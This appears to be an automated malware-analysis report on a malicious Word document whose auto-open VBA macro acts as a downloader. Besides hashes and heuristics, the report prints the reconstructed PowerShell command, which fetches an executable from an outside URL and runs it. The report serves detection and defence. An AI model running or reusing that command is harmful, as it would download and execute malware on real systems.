Office (OLE) / .DOC malware analysis — malicious · 4821e3c96ac5b452

MALICIOUS

Office (OLE) / .DOC

55.0 KB Created: 2021-10-12 03:11:00 Authoring application: Microsoft Office Word First seen: 2021-10-23

MD5: e70320db1a53b3226e73d2b8124b2073 SHA-1: 119ac671f8030a7395030273931120b6e52b3d4d SHA-256: 4821e3c96ac5b45216470c24fe904e41c6060e8b392ed6265807b4c59e6d39b1

182 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1059.003 Windows Command Shell T1204.002 Malicious File

The Document_Open VBA macro is configured to execute automatically when the document is opened. It constructs a command line that downloads a second-stage executable from 'https://secure04sd.my03.com/a/oleApp13.exe' and saves it as 'C:\Users\Public\Documents\happyalmost.exe'. The macro then attempts to execute this downloaded file. The reconstructed command line is: 'powershell -w hi sleep -Se 31;Start-BitsTransfer -Source https://secure04sd.my03.com/a/oleApp13.exe -Destination C:\Users\Public\Documents\happyalmost.exe;C:\Users\Public\Documents\happyalmost.exe'.

Heuristics 6

Document_Open macro high OLE_VBA_DOCOPEN

Document_Open macro
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
VBA macros detected medium OLE_VBA_MACROS

Document contains VBA macro code
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas` `be023384e2aa1b76d9f2332715feb4a0cb098f2026e51ff24b8d8d507d67d58e`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	861 bytes
Detection ClamAV: No threats found Obfuscation or payload: likely Carved macro source contains an auto-exec entry point and execution/download terms.

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